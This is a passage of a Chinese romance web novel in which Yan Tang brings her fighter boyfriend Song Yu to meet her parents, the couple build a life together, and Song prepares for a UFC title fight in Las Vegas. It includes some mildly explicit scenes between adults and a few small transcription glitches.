他有些疑惑地和她对视,开始反思燕棠是不是意有所指,暗指他技术不够好或者续航能力不行——可之前十几天在备赛期,出于工作原因不能交粮,这回比赛赢了可不是要做个够吗?宋郁暂时按下这个想法,转而说:“我是想说,新加坡恰好离你家近,要不要回南市,去看看你的父母?” 两人商量了一下,当晚定了回南市的机票,燕棠告知爸妈后很快收到了妈妈的电话。 “你这是带男朋友见家长了?那让小宋住哪儿才合适呀?”她妈妈试探性地问。 “给他安排个酒店?还是让他住家里?” 燕棠家里的面积不大,没有多余的客房,如果宋郁住家里,就只能挤在她从小睡到大的那张床上,他个子高大,恐怕会觉得不太舒服。 可宋郁得知有这个选项,忽然露出一个笑。 “不,我会很舒服的。” 62、他的坏主意... 南市这几年大力发展旅游业,顺应国家发展政策,和东南亚几个国家都开通了直达航线。 由于地理位置上相距不算远,周这天两人从新加坡樟宜机场乘坐飞机,经历三个半小时左右的飞行时间,终于在下午三点左右在南市落地。 十二月是旅游淡季,外国面孔不多,浅发白皮肤,高个子的宋郁在一群南方人中间显得尤为扎眼,从过海关边检到出机场一路回头率极高。 小城市机场出口总站着许多拉客的旅行社和司机,宋郁一手提着行李箱,一手拉着燕棠,从出口一走出来,好几个人围过来用方言问“帅哥美女去哪里”“住不住酒店”。 南市有本地方言,和四川话发音相似,宋郁完全听不懂,还以为发生了什么事,下意识把燕棠搂进怀里,对这群拉客的本地人说了句"back off"。 他说完才想起来自己还会点儿普通话,又说:“让开。” 人家见他会讲中文,反倒更起劲儿了,开始介绍本地两日游优惠套餐。 燕棠被这群准备载客的旅行社员工和司机吵得脑袋嗡嗡响,踮起脚来举起手,对远处路边一辆银灰色大众的方向大喊一声“爸”。那边传来老燕响亮的回应:“哎!” 本地人身份一亮出来,乱七八糟的场面立刻结束。 “保姆做。”妈妈点了点头。 “现在是冬天,来旅游的人少,旅行社没生意。” 老燕启动车辆,载着他们往家的方向去,用英文问坐在副驾驶的宋郁,“上次你来,没碰见这个情况?” “上次来也有,但那次我只是看了一眼他们,他们就退后了。” 宋郁说这话时,透过后视镜对坐在车后座的燕棠对露出一个笑,又移开目光继续和老燕聊天。 燕棠知道这个笑是什么意思,默默看向窗外。他上次来南市是来抓人的,估计是心情不好,眼里有杀气,人家不敢靠近,这回反倒像纯正的外国游客。 到家时差不多是饭点,一打开门,家里从天花板到地板,从桌面到沙发,干净得不得了,还添了鲜花和摆件,地面还铺着新地毯,和宋郁上次来的朴素截然相反。 “我差点儿以为自己进错屋了。”燕棠放下包。 妈妈走过来,拍了下她的肩膀,“瞎说什么呢。”然后径直绕过她,跟宋郁打招呼,祝贺他比赛得胜。 宋郁在离开新加坡前特地买了很多礼品,要比几年前来的时候贵重许多,这会儿提了满手,进门坐下后一样样跟她爸妈介绍,把两个人哄得很高兴。几年前宋郁来这里找燕棠的时候,年纪太小,她爸妈把他当作小孩儿来看待,说话客客气气的,看破不说破,谁也没捅破表面上那层关系。但过了这么多年,宋郁确实长大了,燕棠的事业也不同往日,父母从过来人的视角看这段感情,多少也能知道两个人都是认真的,态度有了很大不同。四个人和和乐乐地吃过晚饭,老燕和宋郁在客厅聊天,燕棠被妈妈叫去浴室里,说是跟她说说日用品在哪里。 “这个洗手间和浴室已经清理出来,专门给你和小宋这几天用,我和你爸爸用卧室的。”她妈妈关上洗手间的门,拉着她走到洗漱台前,跟她说毛巾和洗漱用具放在那里,随后话头一转,小声问她:“我之前还忘了问你,你见过他父母了吗?” “算是见过了。”“什么叫 算是''?” 燕棠简单跟她说了一下之前的事情,她妈妈还没放心下来,忧心忡忡地提出一个离奇的问题:“他们家的人都那么高,会不会觉得你太矮了?”说起这个,妈妈又叹了口气,“我想到你们谈到这个地步了,这几天又没睡好,不是说这孩子不好,是看起来太好了,我担心他们家对你的看法—以前就不该让你住校,住家里吃得好,兴许还能长高几厘米呢?”燕棠真是被她妈妈逗笑了,“我一米六,在南方人里不算矮了,而且他们家不在意这种事情。” “真不介意?“妈妈担心她没说实话,因为以前联络人相亲的时候,身高可是一项关键指标。 "又不是动物配种,介章这个干什么2 见她一脸无奈,妈妈终于信了,随即又抛出另一个问题,“那你们谁做家务啊?不会要你伺候他吧?” “没保姆的时候呢?”“两个人一起做。” 没保姆的情况只有一个,就是他们俩突发奇想想要体验生活了,在有空的晚上一起下个厨做个饭,体验一下柴米油盐的感觉。但多数时间,柴米油盐都是保姆照看,两个人都能挣钱,有这个时间不如一起看部电影。 燕棠跟她妈解释完,又告诉她,宋郁不是那种被养废了的小少爷,要是两人有一天流落荒野了他还能打猎捕鱼呢。 “什么乱七八糟的。”她妈妈被逗笑了。 “别担心多余的。”燕棠笑着对妈妈说,“要是在这上面有问题,我就不会带他来见你们了。” “也是,看来我们眼里的很多问题,在另一个层次的人眼里都不是问题。” “你别怪我想得多,小地方的人谈婚论嫁,什么都要计较,看来你当时出去闯闯是对的。是我和你爸爸想得窄了,就是怕你受委屈,你们能相处好就行,你跟小宋说让他把这里当自己家就好。” 燕棠猜测她妈妈这几个问题是跟她爸研究了好几天攒出来的,两人聊完出来,老燕也迅速放宋郁走人,回房间听她妈妈刺探出来的军情。 父母回卧室后,两人也很快洗过澡准备休息。 燕棠在浴室吹过头发,回到卧室一关上门,立刻被人从后抱住。宋郁低下头,和她脸颊相贴,问:“你爸爸妈妈对我还满意吗?“ 她转过身,煞有介事地说:“我妈妈不信你会捕鱼打猎。” 宋郁一愣,还真的以为她家在意这个,说:“那我安排你爸爸妈妈去西伯利亚玩一趟…….” 见他一脸认真的样子,燕棠笑了出来,“开玩笑的,他们觉得你很好,希望你在这里住得自在舒服。” 和燕棠在陌生环境里容易拘束紧张的性格不同,宋郁从小就习惯了当人群的中心,不仅擅长让别人高兴,自个儿从来不会觉得束手束脚。 所以他不仅应付燕棠的父母很有一手,这会儿关起门来坐在燕棠的床边,直接跟进了乐园似的。 “到处都是你的味道。”他又站在了书架前。 书架上的陈设和几年前没有变,都是燕棠中学时看的书和笔记本。他目光转了一圈,礼貌地问她:“我可以翻看吗?” “看吧看吧。”燕棠知道他在想什么。有了上次的教训,关于江聿行的所有东西早就被当成废纸卖了五毛钱高价。 宋郁坐在桌边看她高中时的学习笔记,等她路过他身边,准备掀被子上床玩手机的时候,冷不丁被他拉到怀里坐下。 “你陪我一起看。”他说。 燕棠瞥了一眼,是她高中时候的英语笔记本,“这有什么好看的?”密密麻麻的单词和语法,全是痛苦的回忆。 “我可以通过这个笔记想到你十几岁的时候在做什么。”他这么说。 相比宋郁从小和父母哥哥一起全世界旅游,少年时开始到各地打比赛,闲余时和同学们开派对玩乐的丰富生活,燕棠十八岁以前的生活半径小得可怜。小城市中学生的生活要素,就是堆满学习资料的走道,贴着拼搏口号的墙面,漫长难熬的晚自习,和小卖部里选择有限的零食。 宋郁听懂了,“那时候你的生活只有两件事:学习和暗恋。” 听到“暗恋”这两个字,燕棠心里警铃大作,强调:“这笔账已经销掉了,我们已经聊清楚了!” 上次听过燕棠的解释,宋郁对江聿行这个手下败将已经不在意,但如果能借机卖个惨被哄一哄,对他来说还是很有诱惑力的。但这回没有看到任何有关江聿行的东西,他心里其实更加高兴。 “我才不是揪着那种小事不放的人。”宋郁一本正经地说。“我是想说你的笔记里有错误。” 他往前翻了几页,在一堆英语单词中间夹了几行俄文,都是非常基础的单词。 燕棠高中时就对俄语感兴趣,闲余时在书店买了本趣味性的俄语学习教材,在学校里学累了就拿出来翻看一下,估计是哪次晚自习的时候在笔记本上做了笔记。 "kapToφb,没有这个词。"宋郁搂着她的腰,让她在自己的腿上坐稳,下巴亲密地抵着她的肩头,指尖在笔记本上点了点。“你是想写成kapToφenb(土豆)吧?把φ’和B′的读音弄混了。” 燕棠一看,还真的是。 她顺手从抽屉里找出一支笔,在笔记本上写错了的单词划掉,写上正确的单词。 距离高中毕业已经将近十年了,笔记本的纸页早已泛黄,原来的字迹还稍显青涩稚嫩,新添的笔迹秀气漂亮,墨水浓黑,新旧对比,有种时空交融的错觉。 “真厉害。” 听宋郁学着她以前的语气说话,燕棠蓦地转过头,恰好撞上他含笑的目光。 现在是十二月底,新加坡的气温稳定在二十五度左右,可南市又湿又冷,室内没有暖气,只能开暖空调。 他穿着短袖,燕棠却还是怕冷,换上了衣柜里的旧睡衣。 卡通图案的长袖长裤,显得她小了几岁,一时间竟有种年龄倒置的错觉。 燕棠开始觉得她坐在他怀里的姿势有些危险了,爸妈还在隔壁睡着呢,虽然中间还隔了一个杂货间,应该听不见任何动静,但……但这不好吧! 可宋郁就不放手。“不许走,我还要继续检查你有没有写错。” 他的指尖一页一页地翻着摊在桌面的笔记本,仔细地看她十六七岁时写下的东西。 卧室不大,到处都是燕棠少女时期的痕迹,墙面的贴纸,桌边的摆件……连床单都还是以前的,嫩黄色,上头绣着卡通小动物。房门紧闭着,时空好像忽然停滞、溯回,让燕棠觉得好像回到了十年前。 而宋郁姿态闲散地坐在她的椅子上,像个突然出现在这里的美丽天使,正像模像样地检查她的笔记本。漂亮的脸蛋被台灯照亮,睫毛上浮着光点。 他一抬眼看向她,剔透的瞳孔映出她出神的模样。“又找到——” 还没等他说完,燕棠忽然伸手捧住他的脸颊,凑上去和他接吻。 他的嘴唇真软。燕棠想。她觉得自己好像着了魔,在这一刻忽然涌起一股极其强烈地冲动,想要和他贴近一点,想要他融进这一方封闭的、陈旧的、曾经只属于她的天地里。 正巧宋郁也是这么想的。他在看见她换上旧睡衣的时候就有了坏主意。 借口还没说出来,燕棠主动投怀送抱,他连自己想说什么都忘了,反客为主地回吻。 好在这椅子足够结实,稳稳地撑住了两个人的体重,燕棠跨坐在宋郁身上,搂着他的脖颈,腰又反被他大力扣住。 他们急切地渴求彼此,却偏偏不能出声。 拥抱、接吻、隐忍无声地喘息。 但这么做的后果就是,第二天两人定了个清早的闹钟,在燕棠爸妈起床之前先偷偷摸摸下楼把昨晚用的避孕套和卫生纸丢掉。 既然都出门了,两人顺便散步出小区买早餐。 “冲动了。”燕棠说。 可宋郁却一脸很惊讶的样子,还以为她早就有心理准备,“我不是暗示过你吗?” “我以为我忍得住。”燕棠没想到是她高看了自己。 她同时也低估了宋郁对她过去生活的兴趣。 在他外祖父母家的时候,燕棠看了很多宋郁小时候的照片,所以宋郁这回也特意问她爸妈有没有燕棠小时候的相册可看。长辈们总是乐于说起孩子小时候的事情,燕棠的父母也不例外,不仅拿出了相册,还跟宋郁说起许多她的故事。 可惜的是,燕棠从出生到小学的照片很多,等进入青春期后,一是因为住校,二是因为整个人不自信,不爱拍照,所以并没有留下太多的痕迹,翻来翻去,只找到一张十七岁时的照片,是老燕参加家长会的时候拍下来的。照片里,燕棠看上去稚嫩很多,平刘海黑长发,白白净净的,穿着一身校服,在课桌前埋头写作业。 宋郁从老燕这里要走了这张照片,等他们回到莫斯科的家里后,他把这张照片放到相框里,摆在了家里的展示柜上。为了跟她搭配,他还特定回了一趟外祖父母家里找了一张自己的照片,放在燕棠的照片旁边,这样好像两个人就离得近了一点儿。 这是他从娜斯佳那里继承的习惯。 “家”的实感就是这么在一天天的积累中构筑起来的。冰箱上贴着他们出去旅行时买回来的冰箱贴,冰箱里放着两个人喜欢吃的食物,所有东西都是成对的。 就连燕棠工作的书桌边都摆着好几个相框,都是宋郁的照片,多数都是小时候或者少年时期。还别说,这小子从小好看到大,照片自然是赏心悦目,有效地缓解她在工作上的疲惫。 当时间跨入新一年的一月时,燕棠从自己的公司里领到了一笔可观的分红,这个数字不过是公司利润的一小部分,大部分的资金将会投入下一年的项目运营。她给父母一人包了一个大红包,又豪爽地请宋郁到高档餐厅里吃了个饭。见识和存款令人心灵安宁,真是一个永远不会错的真理。 “我在想,我的公司以后可以做更多语种的翻译,还可以看看能不能做本土的图书向海外出版的项目。” 水晶吊灯,雕花廊柱。 用餐位置十分安静,视野极佳,往窗外一看,能看见被白雪和璀璨灯带装点的莫斯科。 燕棠跟宋郁聊起公司未来的计划,脸上是掩饰不住的兴奋。 她认识很多出版社、还认识了很多的投资人。做生意的道理就在这里,有渠道有资源有想法,将这些要素盘活,走过低谷接得住机会,事业就会越做越大。 宋郁却陷入了沉思。 他现在回归UFC打比赛,进入top10排名后,一场大概能挣三十万美金,越往上越多,如果燕棠要融资,他希望自己能有足够的资金支持她。 可融资这事情,A轮B轮C轮往下走,估值越来越大,要是她的公司真能熬到那时候,那可不是个小数目。 “你怎么走神了?”燕棠的声音将他的思绪拉回来。 “没什么。”宋郁放下刀叉,“我在想我的最后一场比赛会在什么时候。” “最后一场比赛?” “嗯,职业生涯的最后一场比赛。”宋郁轻巧地跟她说起这个话题,尽管他才刚刚开始回归UFC。他现在已经学会向远处看了。 63、甜熊的秘密... 凡是运动员,就会有要退役的那一天。 之后要么怀揣着对这项运动的热爱去当教练,要么借助积累下来的人脉资源,投身其他领域,继续积累财富和名声。 宋郁不想像他哥那样当一个大集团的继位管理者,因为这个身份还有另一种叫法:史诗级牛马。 坐在那个位置上,不仅要操心集团内大小公司的业务,维持政府关系,跟其他小股东打交道,还要费心力盯着那些年薪能在集团财报上占显眼百分比的高层老狐狸们。 且不论他自己对这件事儿没兴趣,现在燕棠就是个管业务的人。她业务忙起来时会议从早到晚挤得满满的,还不时需要两地来回跑出差,宋郁想跟着她走,所以工作的灵活度一定要高。 经过深思熟虑,宋郁决定以后专门做投资,自己当实控人定方向,找专业投资经理操盘。 投资这个领域水很深,关键在信息渠道,新手光有钱还不行,得有人带着玩儿。 但他和亲哥在少年时候就已经开始学着投资,爸妈会固定给部分资金,给他们兄弟俩拿去试水,培养判断力和商业敏锐度,所以宋郁在这方面还真不算是新手。 正当宋郁跟他爸提这个想法,宋裕川先打了个电话过来。 “之前说好的一年时间快到了。” 宋裕川说。 “我和妈妈看过你在新加坡的比赛了,很精彩,既然发展顺利,之后家里就不发生活费了。” “爸爸,你当时说给我一年的时间,意思不是说要看我这一年能不能出成绩吗?” “对啊,没有打出成绩就回家上班拿工资,打出成绩你也算有了正式工作。” 他爸笑了一下。 “恭喜你儿子,你和你哥一样长大了,从家里独立了。” 从家里独立是件好事,但自负成本养团队很不便宜,可不是开玩笑的。 宋郁握着手机,脑子里迅速算了笔账。 他冷静开口:“爸,我还要两三年才能退役,之后我打算开个投资公司,到时候送你和妈妈股份,换你和妈妈这段时间继续帮我雇团队,我保证你只赚不亏。” 电话那头,宋裕川安静了几秒,又哼笑了一声,“你真是一点儿都不吃亏啊。那这个是算我投资你还是怎么?要不要跟你签个转股协议?你自己的金库就空了?“ “那没有,我是在盘活资金啊爸爸,我还没结婚呢你总该让我攒点儿老婆本’吧。” 他爸又笑:“中文可以啊,都会说‘老婆本’这三个字了。” 听这小子把话说得天花乱坠,宋裕川最终点头答应。 他还告诉宋郁,压力别太大,挣不够老婆本,爸妈资助一点也是可以的,大不了就是被嘲笑几年,反正爸爸当年和妈妈结婚的时候靠的是自己。 宋郁挂了电话,走到书房跟燕棠宣布了未来会成立公司这个好消息。 燕棠在书房里看书,隐隐约约能听见他打电话的声音,好奇问:“你还跟你爸爸说了什么?我好像听见他笑了。” “秘密。” 他抽走她身后的靠垫,让她枕在他腿上。 燕棠抬眼看他,惊奇:“你还有秘密了?”“暂时的秘密。”宋郁垂眼,笑着对她说。“那你还有什么别的秘密是我不知道的吗?” 宋郁竟然真的认真思考了一下,随后摇摇头,并且把他名下资产之类她还没问过的事情,像倒豆子似地都交代了个遍。 “没什么好隐瞒的,两个人在一起最重要的就是坦诚,我爸妈也是这么做的。”他轻轻柔柔地抚摸着燕棠的长发,玩儿似的将发丝拢成一束,握紧又松开,让乌黑的发丝在他指间穿梭。“我相信你的人品,你也一直是我的后盾,我可以放心把一切交给你。” 燕棠微微一愣,一抬眼便落入宋郁深深的目光之中,随后被牢牢包裹住。她嗅到了一丝不同寻常的信号。 莫斯科的冬天漫长,三月下雪,四月阴天,五六月渐渐放晴,七八月便是浪漫的夏天,随后又迅速入秋,四季轮换。 两人进入了平稳的生活中。宋郁仍然全力投身于训练之中,一年里接连赢得了三场排名比赛,回到top5的行列。 在这之后,他对教练团队的结构进行了调整,重新跟唐齐合作。加上燕棠公司逐步走上正轨,业务会议多在北京进行,两人在第二年开春的时候般到了北京住。 现在是2022年,正值北京举办冬奥会,燕棠买了两个冰墩墩摆在家里门关处。 等宋郁从纽约比赛回来,一开门就能看见两个小胖熊猫站在门口欢迎他。 他这场在纽约的比赛是冠军挑战资格赛,而指定的对手就是同样在等待机会,夺取金腰带的维克托。 燕棠没能去纽约现场观看这场比赛。她正忙于公司的A轮融资谈判,律师顾问和投资方每天邮件往返的核心条款清单、公司法务的内部意见和项目报告会几乎填满了她的所有时间。 “我把他KO了。” 视频那头的背景是宽敞的酒店房间,窗外是纽约如金子点缀过的城市夜景。宋郁早早从赛后派对上离开回来跟她通话,接通时才刚刚洗完澡,腰间只围着一条浴巾,结实的上身肌肉起伏,有许多道赛场上留下来的浅表伤痕。 他的脸上也多了两道血痕,一处在右眼角,一处在唇边,伤口看上去不算深,在这张漂亮脸蛋上别有美感。 “你的左膝没事吧?”燕棠还是有些担忧。 纽约和北京恰好差十二个小时,现在是北京早上九点,她没有会议,原本准备看一下律师在凌晨五点发出的股东协议初稿,看见宋郁这样子,工作的心思都没了。 “没受伤,我不会让他得逞的。”宋郁想到今天比赛的场景,嗤笑一声。“他的拳头不过是擦过我的脸罢了,你可以现在去看回播,看看我是怎么回敬他的。” 燕棠在书桌边坐下,把手机放在支架上,屏幕里的宋郁正坐在床边,笑盈盈地看着她打开电脑,找到赛事现场回播的视频。 视频很长,从入场开始,燕棠先去看底下的评论,发现几乎所有人都反应激烈。 回归后的宋郁几乎每场比赛进行的都是技术性较量,点到为止,游刃有余。 大概是他在之前几场比赛中表现得十分具有绅士风度,这场比赛的野蛮程度又惊呆了所有人。 赛场上,维克托的招数就和他的作风一样刁钻又阴险,他还有一些挑衅式的表情和动作,在一开始引得看热闹的观众偶尔发出呼声。 燕棠看得恼火,眉头也皱了起来,可见她这幅样子,手机屏幕那头的宋郁反倒笑意未减。 就在她眉头越皱越紧,进度条进入第三个回合的时候,局势忽然发生改变。 屏幕里,在脸蛋接连被开了两个伤口之后,宋郁忽然挥拳砸向维克托的左侧脸。 这个时候,摄影师恰好把镜头移向维克托的后方,于是燕棠清晰地看见了他那着力点在维克托脸侧的拳头,力道直接穿透维克托的面皮、骨骼,将他后颈和头皮都震出极其明显的波纹。下一秒,维克托直挺挺地倒在了赛场上。 全场尖叫,燕棠也惊得跳了起来。刚才那一手反击太过突然,让她的心脏跳得飞快。 极其敏锐的反应力,十分强悍精巧的力道。 她举起手机,眼睛亮晶晶地看向屏幕那头的宋郁,脸颊都因为激动而泛起了红。“你太厉害了!” “原本资格赛都是三回合,这场比赛被升级为五回合,我们还能从付费观看里拿到分成,维克托给我们贡献了一笔巨款。” 宋郁笑着看她。 “这都是你的,宝贝。” 燕棠一愣,迟疑问他:“你不会把结算账户写成我的银行账号了吧?” “秘密。” “又是秘密。” “是你有一天会知道的秘密。” 隔着一道屏幕,他们安静地对视着。 过了几秒,宋郁才开口:“要是你现在在我身边就好了。” 燕棠回过神来,听出其中的遗憾,轻声说:“你马上就回来了呀,我们可以好好庆祝。” “回去当然会好好庆祝,可此时此刻我也很想你。”宋郁注视着她,背景灯光昏暗,让他带着伤痕的脸庞变成一副质感模糊的画。“毕竟之前每一次比赛晚上,我们都有传统庆祝活动。” 没错,传统庆祝活动,不穿衣服的那种。 燕棠猜测他又开始打坏主意了,果然,宋郁开始指挥她:“你回卧室去,把窗帘拉上。” 她随后看见他从行李箱里拿出了她的一条睡裙。 “那是我最喜欢的一条!”燕棠不敢置信,“你什么时候拿走的?” 对面的小偷毫无愧疚之意,甚至理直气壮地说:“这也是我最喜欢你穿的一条,有它在这几天我才能睡觉。坏了就再买。” “再说了,我不会弄坏的,我的**又不是真枪,射不出子弹。” 手机屏幕上移,被他那张战损版的漂亮脸蛋填满,随后稍微拉远,露出了他肌肉结实的肩和锁骨。 燕棠能稍微看见他的手臂在动。 “我真的很想你。”宋郁再次强调,“下一场比赛你会来吗?” “我尽量去。” 今年注定是忙碌的一年,她不敢给一个百分之百确定的回应。 但说是尽量,那肯定是只要有一点儿机会就一定会赶去,燕棠相信宋郁知道她的诚心。 可宋郁这回却罕见地非常坚持:“那场比赛对我来说很重要,如果我赢了,我就能拿下金腰带。我希望你在我身边。” 他稍微调亮了台灯,以便燕棠能看见他认真严肃的神情。 白亮的灯光照亮床头,落在他的脸上。也让燕棠看见他因为被睡裙柔软面料安抚而微微发红的脸颊。 燕棠被蛊惑了。虽然在公司现场沟通一定是最方便的,但她想,她现在都是当老板的人了,大不了就是让其他人配合远程开会,让员工增加书面报告的频率。辛辛苦苦开公司不就是为了这点儿自主权吗?实在不行,也有冯橙坐镇北京…… 思来想去,燕棠点了点头。 宋郁果然很高兴,眉眼一弯,双眼露出清亮的光来。他笑起来的样子很讨人喜欢,瞧人的目光都变得甜滋滋的。 燕棠看得心软,觉得自己答应得很值。 可心软还没过三秒,对面的人又开口了。“能不能把你的肩带脱下来,我想看。” 宋郁的呼吸略微有些急促了,纤长的睫毛也因为欲望上头而扑闪扑闪的。“作为我比赛获胜的奖励。” 燕棠盯着他看了几秒,淡定地说:“回来看也是一样的,你忙完了再视频吧,记得把我的裙子洗了!” 说完,果断挂掉电话。这种事就不能惯着他,上次说要听声音,这次就要脱上衣。再来两次他就无法无天了。 但燕棠忽略了一点。宋郁虽然会尊重她在这件事上的喜好,但被她拒绝时仍然会非常伤心。 所以当他回到北京的家里之后,他用最传统、最保守的姿势,面对面地欣赏她毫无保留地向他展露的美丽模样。 表姐说小别胜新婚,非常在理。 燕棠还不知道新婚是什么感觉,但当宋郁提着行李箱,带着给她买的礼物和新的冰箱贴回家的时候,她坐在书房里听见了门口的动静,几乎是想也不想地跑出了书房,直接蹦起来扑到了他身上。 就连现在,当他使坏般捉住她的脚踝,让她变成一条被浪击涛打的飘摇小舟时,她只想被这片海再淹没得更彻底一点儿。 "Kirill.….燕棠用湿润的声音叫身上男人的名字。 他听见了,像得到命令般俯下身来,和她接吻,抚摸她的脸颊、颈项。手一路向下,感受她的心跳和体温,享受她的美丽和温柔,然后带给她私密的快感。 在动物性驱驶的渴望之外,燕棠从这样亲密的行为里得到了最直接的爱意。 “你走神了。”这时,宋郁又咬了她一口。 有点儿疼,疼处随后又被他舔得有点儿痒。燕棠哼出声来,宋郁听得喜欢,想让她再多叫两声。 “你刚才在想什么?”他问。 燕棠环抱住他的脖颈,抬起眼,漆黑的双眸像覆了一层水光,映着他的模样。 “我在想,我很爱你。”她这么说着,掌心抚摸着他的喉结。 “我也爱你。” 宋郁凝视她,握住她的手,牵引她往下。 他的心脏在跳动,仿佛直接撞在她的掌心里。 “对了,告诉你一个好消息。”宋郁眼里浮出一抹笑意。“我跟官方委员会提出了排赛的请求,我的下一场比赛会安排在拉斯维加斯。” —拉斯维加斯。那是坐落在荒漠中的绿洲城市。它也见证了他们的第一次。 64、他说... 冠军赛的时间定在了十月初。 对于宋郁来说,这场备战是一次漫长征途的最后一站。他从八岁开始格斗训练,而今年他已经二十四岁,足有十六年的时间。 即将爬至山巅,差一步之遥就要登顶,这时候最考验人的意志。 往上看,终点前的路要比以往更加陡峭。 往下看,一着不慎就会掉下深渊,所有功绩再次清零。 不过宋郁并没有太过紧张。 可能是他曾经在最有希望登顶的时候掉下去,在低谷徘徊了两年。 也有可能是生活里有了更多值得他高兴的事情,在无形之中安抚了他的情绪。 两个人在这段时间里生活在北京,燕棠工作,宋郁训练。如果她有空,就会去俱乐部陪他。 超子和王天铭他们仍然在俱乐部里训练,职业生涯正在上升期,他们白天训练、晚上复盘和讨论战术,偶尔出去聚餐,燕棠有空也会参加。 时光在往前走,有的事情变了,有的事情美得一如既往,在变与不变之中,常常能窥见岁月对人留有柔情。 在九月中旬的时候,一行人从北京出发飞往拉斯维加斯。除了教练团和随行的营养师、康复师外,还有五位陪练的选手,超子和王天铭都来了,唐蕊心也凑热闹要过来,仔细看看,竟然和几年前第一次来的人员差不多。 拉斯维加斯的麦卡伦国际机场已经改名为哈里里德国际机场,但仍然没有北京直达当地的飞机,他们照样在LA中转,到酒店时已经是夜晚饭点的时间。 “除了有训练计划外,这两天还有两家媒体的访谈,不过刚才又有几家媒体发邮件过来说想要约你…….”还在check in的时候,小谭拖着行李箱哼哧哼哧跑到宋郁身边提醒他行程。 燕棠就站在宋郁身边看微信,听到小谭的声音,也抬起头跟宋郁说:“还有好几个国内的体育杂 志专栏记者来加我微信,估计我 朋友同学之类的人推了我的名片,想问问你愿不愿意接采访。” 回归赛场后,名气上升,商务邀约自然也增加。 宋郁让小谭把联系他那边的没提都推掉,然后跟燕棠说:“联系你的那些,你想让我接谁的采访,我就接。” “他们找的是你,我怎么能帮你定?”燕棠哭笑不得。 “找上你是要借你的人情。” 办完登记手续,宋郁拉着她往电梯走。 “你觉得有值得维护关系的人,我就帮你做人情,没有就不接,听你的。” 住宿的酒店和上次不同,但也坐落在拉斯维加斯大道附近的。两人的关系也不再像上次那样低调掩藏,一起住进了酒店高层的复式sky villa。这里像一间面积极大的独立公寓,还有开阔的露天阳台,阳台处有泳池和沙发,可以俯瞰拉斯维加斯的全貌。 燕棠没想到宋郁会订这么大的房间,她绕着房间跑一圈就累趴了。 “这间房的视野最好。”宋郁这么解释,“面积也大,我和教练讨论的时候不会影响你开会。” 其实燕棠提前在公司挂了休假,除非天大的事或者文件要签字,工作不会找上她。这回来到拉斯维加晰,她才有种宋郁在圈内名气很大的实感,不仅是观众们在线上会讨论他,许多关注UFC比赛的明星和商人也想约他聊天吃饭,想要和他交个朋友。 不过所有邀约里,能推的宋郁都推了,不能推的也延至比赛结束之后。 尽管现在距离比赛还有整整两周,但真正能静下来训练的时间并不多。前三天除了必要的商务活动,还有一次开放性训练,供粉 丝和媒体观赏作为比赛的宣传,等到了后三天,还有赛前发布会和称重环节。 在称重的前一晚,宋郁刚完成最后一次脱水,体重达标,整个人的身体和精神已经绷成了一根弦。 入睡前,燕棠靠在床头,用手机回复几个比较着急的工作邮件。 他跟教练们做完复盘后回到卧室,掀开被子躺到她身边,头枕在她的小腹上,安静了几秒后,又把整张脸埋进去。 燕棠只穿着件紧身吊带和休闲短裤,被他拱得肚子痒,注意力终于从手机上移开,低下头,发现宋郁正在看她。 “登台的时候,你可以和我一起上去吗?”他问。 燕棠一愣,“我?那样的场合应该都是教练陪吧?” “不只是教练可以上去。我跟你提过,之前我遇到过一个对手是带着他女儿上台称重的。” 她稍作回忆,想起那是两三年前,他们分开后那次宋郁的生日派对上,他跟她提过这件事。 “我那次跟你说,我看到那个小女孩儿就想到了你。”宋郁在她的怀里找了个舒服的姿势,恰好可以跟她对视说话。“因为那时候我想,要是那个时候你也能在台上陪我就好了。” 在UFC这个力量和名誉并举的赛场上,强悍风流的运动员、纸醉金迷的派对和迷人眼球的美色金钱并不少见,但也有男选手在胜利后跳过八角笼,亲吻自己的孩子和妻子,也 有女选手获得金 腰带,骑在自己男 朋友的肩上享受全场的欢呼。称重现场定在赛场附近的酒店,全黑色调,明亮的白色射灯,上方悬着超宽大屏幕。 燕棠之前来过两次称重现场,都是站在台下仰望宋郁,这回她站在了台上,站在了他身后。 直到这时,她才知道,原来在台上的人其实看不见台下的人,只能听见嘈杂的声音和聚在一起的模糊人影。 台下有许多是宋郁的粉丝和媒体,他们叫着他的名字,宋郁在脱下外套时冲他们的方向笑了一下,但转过头,他也只能看见身后的燕棠。 他把脱下的衣服递给小谭,但外套却拿在手里,问她:“你可以帮我拿这个吗?” “当然了。” 等从他手中接过外套时,燕棠发现他的口袋沉甸甸的,从里面一掏,竟然是早年她送给他的圣乔治屠龙吊坠。 “宋老师每次都带着,如果不是因为这个吊坠太重了,上体重秤会增加重量,估计他都要戴在身上。”小谭小声跟她说。 称重结束后,有媒体问宋郁要不要跟对手说几句话,说垃圾话算是比赛的传统项目,宋郁早年的风 格是人狠话不多,谁乱说他,下一场比赛他就揍谁,但现在他已经对语言 挑衅免疫。于是在镜头前,他轻飘飘地说:“我会赢,然后回家继续过日子。” 时间到了比赛前一天,宋郁迅速从脱水状态恢复,靠吸燕棠充分获得心灵平静,反倒是燕棠自己紧张得不得了。 她研究过宋郁的对手,那是一位巴西人,叫哈法埃尔·席尔瓦,今年三十岁,是一名UFC老将了,擅长站立打击和泰拳,跟宋郁擅长地面控制和桑搏的优势恰好错开,所以比赛当天战术也非常重要。 燕棠作为多年的观众,自个儿在心里觉得比赛的胜率在五五开。 她不怕宋郁失败,这次失败了还有下次机会,可她怕失败会再次打击他的心气儿。 —心气儿是个说不清的东西,宋郁还在恢复期那会儿状态低靡,偶尔露出些失意的目光,虽然转瞬即逝,却像刀子在她心头刮着。 比赛定在下午三点,得益于前期大力宣传,现场爆满,热闹非凡,观众来自世界各地,能听见各种语言和不同种族的面孔。 以前燕棠坐在赛场上,会注意很多其他的事情——现场真热闹、真高级,观众真多,竟然都是宋郁的粉丝,粉丝里还有几位是名人大佬等等。 她在贵宾席坐下,周围都是有钱的贵宾或者明星商人,所有人都知道她是宋郁的女朋友,偶尔还跟她攀谈。他们说很期待这场比赛,猜测肯定会很精彩,问燕棠有什么想法。 燕棠没什么太多想法,也不期待什么精彩瞬间,她首先希望宋郁平安,其次希望他能如愿胜利。 但等真的看见宋郁入场的时候,她什么想法也没有了,只感觉自己心脏跳得很快,手也在发抖。她端坐在位置上,左手压着右手,隔几秒钟就在吸气,尽量使自己看上去平静一点儿。 等主持人开始说话,现场的大屏幕上出现宋郁的名字和体重身高等数据时,燕棠已经紧张得有点儿想哭了。她也不知道这究竟是怎么回事,明明已经二十七岁了,这会儿却像个失去理智判断的小孩子。 冠军赛是五回合,每回合五分钟,中间休息一分钟。 